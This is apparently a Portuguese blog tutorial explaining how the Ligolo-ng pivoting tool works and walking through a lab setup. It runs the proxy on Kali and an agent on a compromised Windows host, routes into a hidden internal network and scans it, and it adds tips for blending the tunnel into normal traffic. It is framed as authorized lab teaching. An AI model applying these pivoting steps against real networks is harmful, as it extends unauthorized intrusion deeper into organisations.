__    _             __
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /
        /____/                          /____/

  Made in France ♥            by @Nicocha30!

[0x1] Iniciação [1x0] Como funciona? ├──[1x1] Arquitetura De Interface TUN ├──[1x2] Multiplexação └──[1x3] Conexões por TCP “Connect()” [2x0] Primeiros Passos e Configuração ├──[2x1] Download e Instalação ├──[2x2] Configurando o Proxy └──[2x3] Ambiente de Simulação [3x0] Fazendo o Tunelamento ├──[3x1] Configurando o Agente ├──[3x2] Configurando a Interface TUN └──[3x3] Testando a Conexão [4x0] Furtividade [5x0] Finalização


────────────────────────── Iniciação [ 0x1 ]

Ola gente! hoje vim falar de uma ferramenta que depois que eu aprendi a usar sinceramente ficou dificil ter vontade de voltar para o proxychains huew huew, estou falando do Ligolo-ng.

Esses tempos o Kali Linux recebeu um update e colocou algumas ferramentas novas que o pessoal de pentest ja usava por fora, e uma delas foi justamente o Ligolo. Eu ja utilizava ele fazia um tempo e pensei: bom, agora não tenho mais desculpa para não fazer um post sobre :P

O Ligolo-ng é uma ferramenta para fazer tunneling e pivoting em redes internas, porem diferente de um proxy SOCKS normal ele cria uma interface de rede no nosso computador, ficando quase igual uma VPN para a rede da máquina que foi comprometida.

Nesse post eu vou montar um pequeno laboratorio com varias máquinas, usar uma delas como ponte e mostrar como chegar em uma rede que o nosso Kali nem consegue enxergar normalmente. Mas eu não quero apenas mandar um monte de comando para você copiar e ser feliz, quero explicar oque ele faz por baixo tambem pois isso ajuda bastante quando algo da errado. Enfim vamos la!

────────────────── Como funciona? [ 1x0 ]

Bom vamos nos colocar em um cenario: Você conseguiu acesso em uma máquina e quando roda ipconfig ou ip addr percebe que ela tem duas interfaces, uma que você ja conhece e outra apontando para uma rede completamente diferente.

Seu computador não tem rota para essa segunda rede, mas a máquina que você invadiu tem. Então seria otimo conseguir usar ela como uma ponte, certo? é exatamente ai que entra o Ligolo.

Nosso Kali ──> Máquina Pwn3d ──> Rede Interna que estava escondida

Ele faz essa rede interna aparecer no nosso Linux como uma rota normal, e para mim essa é a parte mais daora da ferramenta. Depois de tudo configurado eu posso usar Nmap, curl, ssh e outras coisas como se estivesse conectado diretamente naquela rede.

Mas como ele faz isso sem ser uma VPN de verdade? bom vamos por partes.

── Arquitetura De Interface TUN [ 1x1 ]

Se você ja utilizou proxychains sabe como funciona, coloca um SOCKS no arquivo de configuração, digita proxychains antes do comando e reza para a ferramenta funcionar direito pelo proxy xD

No Ligolo a historia é diferente pois ele cria uma interface TUN no nosso Linux. Uma interface TUN é basicamente uma placa de rede virtual que recebe pacotes IP, então o propio sistema consegue mandar o trafego para ela usando uma rota comum.

Ferramenta ──> Rota do Linux ──> Interface TUN ──> Ligolo ──> Agent ──> Rede interna

Para o Nmap ou qualquer outro programa não existe um proxy no meio, ele pensa que esta apenas tentando acessar outro IP pela nossa tabela de rotas. Isso resolve uma coisa que sempre me irritou no proxychains que é ter que adaptar cada ferramenta para conseguir usar o SOCKS.

Claro que não significa que agora estamos fisicamente dentro da outra rede, o Ligolo ainda precisa pegar esses pacotes na TUN, mandar pelo túnel e pedir para o agente fazer a conexão. Mas para nossos programas tudo fica bem mais simples e organizado.

── Multiplexação [ 1x2 ]

Multiplexação parece nome de algo extremamente complicado, porem a ideia é simples: varias conexões podem viajar dentro da mesma conexão que existe entre o proxy e o agente.

Nmap ────┐
curl ────┼──> [ uma conexão TLS ] ──> Agent
ssh  ────┘

Se eu estiver fazendo um scan, abrir um SSH e mandar alguma requisição com curl o Ligolo não vai precisar criar um túnel completamente separado para cada programa. Ele organiza os fluxos e manda tudo pela conexão TLS que ja esta aberta.

Isso deixa ele rapido e ajuda muito quando nossa conexão com a máquina não é lah aquelas coisas. Fora que é bem mais facil manter uma conexão do agente do que ficar criando um monte de tunel diferente para cada serviço que queremos acessar.

── Conexões por TCP “Connect()” [ 1x3 ]

Agora vem uma parte importante para não achar que existe alguma magia acontecendo. Varias técnicas do Nmap usam sockets RAW, como o SYN Scan (-sS), mas oque é um socket RAW afinal?

Resumidamente é um socket de baixo nivel onde o programa consegue montar os propios pacotes e headers. O problema é que isso normalmente exige root no Linux ou Administrador no Windows, e bom… nem sempre nossa primeira shell vai ter privilegio né :[

O Ligolo trabalha de outra forma, ele recebe a tentativa de conexão e o agente utiliza o connect() do sistema operacional para abrir uma conexão TCP normal com o destino. Assim o agent pode funcionar como um usuario comum sem precisar criar pacotes RAW.

Nmap -sT ──> Interface TUN ──> Proxy ──> Agent ──connect()──> 192.168.56.11:445

Por causa disso na hora de usar Nmap pelo Ligolo eu prefiro o TCP Connect Scan com -sT no lugar do SYN Scan. Alguns scans de baixo nivel não vão se comportar exatamente como uma conexão direta, porem em troca temos um agent que não precisa de privilegios e funciona muito bem para o pivoting.

Então não existe bruxaria, ele apenas traduz nossas conexões para algo que a máquina comprometida consegue abrir normalmente

────────────────── Primeiros Passos e Configuração [ 2x0 ]

Todo esse laboratorio foi feito em máquinas que eu controlo, utilize essas ferramentas apenas em ambientes propios ou aonde você tem autorização para testar.

── Download e Instalação [ 2x1 ]

Bom explicado a parte que parece mais chata vamos finalmente mexer no terminal :D

Eu baixei os binarios ja compilados nas releases do Ligolo-ng. Na nossa máquina atacante precisamos do arquivo ligolo-ng_proxy para Linux, depois de extrair o .tar.gz teremos um executavel chamado proxy.

Esse é o lado que vai ficar no nosso computador esperando o agent voltar. Antes de executar eu sempre gosto de olhar o help, ate porque parametros podem mudar dependendo da versão.

──── ligolo-help.png ────────────────────────────────── ──────────────────────────────────

── Configurando o Proxy [ 2x2 ]

Para iniciar o proxy eu utilizei o seguinte comando:

./proxy -selfcert -selfcert-domain wwwdata -laddr 0.0.0.0:1337

Bom vamos entender oque eu coloquei nele:

Eu coloquei wwwdata apenas como nome de exemplo, você pode colocar outro. E a porta 1337 foi porque estamos em laboratorio e eu gosto dela kk, em um ambiente real essa porta obviamente chama bastante atenção.

──── ligolo-startup.png ────────────────────────────────── ──────────────────────────────────

Como da para ver eu não ativei a WebUI. Nada contra ela, mas eu prefiro mexer pelo terminal pois é mais rapido para mim e não preciso deixar outra interface aberta sem necessidade.

── Ambiente de Simulação [ 2x3 ]

Para não fazer um tunelamento sem contexto montei um laboratorio com algumas máquinas de Active Directory, e como eu gosto de Game of Thrones os nomes ficaram assim:

(WINTERFELL) [192.168.56.11] ──┐ (CASTELBLACK) [192.168.56.22] ──┤ (MEEREEN) [192.168.56.12] ──┼─ [O range das máquinas são 192.168.56.0/24] (BRAAVOS) [Pwn3d] [192.168.56.23] ──┤ (KINGSLANDING) [192.168.56.10] ──┘

(Bezu - Atacante) - [192.168.244.128]

Nosso Kali esta na rede 192.168.244.0/24 e não consegue se comunicar diretamente com a rede 192.168.56.0/24, porem a máquina BRAAVOS consegue falar com os dois lados e ja temos uma shell de usuario comum nela.

Ou seja, BRAAVOS vai ser nossa ponte. Esse é um cenario que acontece bastante, você consegue entrar em uma máquina e descobre que ela tem acesso em outro range que não estava exposto para você.

────────────────── Fazendo o Tunelamento [ 3x0 ]

── Configurando o Agente [ 3x1 ]

Agora precisamos colocar o outro lado do Ligolo na BRAAVOS. Como ela é Windows eu baixei o agent:

ligolo-ng_agent_0.8.2_windows_amd64.zip

Depois de extrair temos o agent.exe, e para mandar ele voltar para nosso Kali eu usei:

.\agent.exe -ignore-cert -connect 192.168.244.128:1337

        │           │          └─ IP:PORTA do nosso Ligolo-ng proxy
        │           └─ Parâmetro para informar o IP da conexão
        └─ Ignora a validação do certificado TLS auto-assinado

O -ignore-cert esta ai pois criamos nosso certificado usando -selfcert. Isso é otimo e rapido para laboratorio, porem em um pentest mais controlado você pode configurar um certificado valido ao invés de simplesmente ignorar a validação.

──── ligolo-agent-connect.png ────────────────────────────────── ──────────────────────────────────

── Configurando a Interface TUN [ 3x2 ]

Voltando para nosso Kali podemos ver que o agent chegou, Yeyyy

──── ligolo-server-connect.png ────────────────────────────────── ──────────────────────────────────

Dentro do console podemos usar session para selecionar a sessão da BRAAVOS. O Ligolo tem tambem o autoroute para ajudar a criar as rotas, porem aqui vou fazer manualmente para ficar bem claro oque esta sendo adicionado na nossa máquina.

Primeiro vamos criar a interface TUN com o nome ligolo e colocar ela para cima:

ip tuntap add user root mode tun ligolo && ip link set ligolo up

Agora precisamos falar para o Linux que qualquer coisa indo para a rede interna deve sair por ela:

ip route add 192.168.56.0/24 dev ligolo

Prontinho, quando um programa tentar falar com algum IP do range 192.168.56.0/24, o Linux vai mandar o pacote para a interface que esta sendo controlada pelo Ligolo.

Voltamos na sessão do agent e executamos start:

──── ligolo-start-tunneling.png ────────────────────────────────── ──────────────────────────────────

Tchan tannn! nosso túnel esta de pé

── Testando a Conexão [ 3x3 ]

Para testar escolhi a WINTERFELL que esta no IP 192.168.56.11. Lembra da conversa sobre connect() e socket RAW? então vamos utilizar -sT no Nmap.

──── winterfell-test.png ────────────────────────────────── ──────────────────────────────────

E Vualá! conseguimos acessar a máquina

Antes nosso Kali nem tinha uma rota para esse range, agora conseguimos usar toda a rede como se tivessemos conectado uma placa nova nela. E é por isso que eu prefiro Ligolo para pivoting, depois da interface pronta não preciso ficar colocando proxychains na frente de tudo.

────────────────── Furtividade [ 4x0 ]

Bom, agora temos que falar sobre furtividade pois colocar TLS em alguma coisa não faz ela ganhar uma capa de invisibilidade, infelizmente :[

── Certificado e Porta

A porta 1337 é obviamente estranha para uma conexão que vai ficar aberta por bastante tempo, e nosso certificado auto-assinado tambem pode chamar atenção em uma analise de rede.

Em um pentest autorizado podemos escolher uma porta que faça mais sentido para o ambiente e utilizar um certificado configurado direito. Por exemplo podemos escutar em 443:

./proxy -selfcert -selfcert-domain wwwdata -laddr 0.0.0.0:443

Porem lembre-se, só colocar na porta 443 não transforma o trafego magicamente em HTTPS normal. O certificado, tempo da conexão, destino e volume dos scans ainda podem entregar o túnel.

── Logs

Outra coisa importante é que o Ligolo não apaga os rastros das nossas ferramentas. Se você mandar um scan barulhento para a rede inteira, errar senha em varios serviços ou sair conectando em todas as portas, isso ainda pode aparecer em firewall, EDR e logs dos servidores.

Então pense antes no que realmente precisa testar. A ferramenta deixa o pivoting organizado, mas quem decide fazer silencio ou derrubar uma panela no chão somos nois mesmos kk

────────────────── Finalização [ 5x0 ]

Bom esse foi meu guia sobre Ligolo-ng, eu tentei mostrar como configurar mas tambem explicar oque acontece por baixo para não virar apenas outro tutorial de copia e cola.

Kali ──> Interface TUN ──> Proxy ──TLS──> Agent ──> Rede Interna

Para mim ele deixa o pivoting muito menos doloroso, principalmente quando queremos usar varias ferramentas diferentes. Depois que a rota sobe realmente parece que ganhamos uma placa de rede nova dentro daquele ambiente :P

Espero que esse post ajude quem esta estudando redes internas ou montando algum laboratorio. E lembre-se de utilizar isso apenas em ambientes seus ou que você tenha autorização, capiche?

Bezumiya button
Em breve... Bezumiya blinkie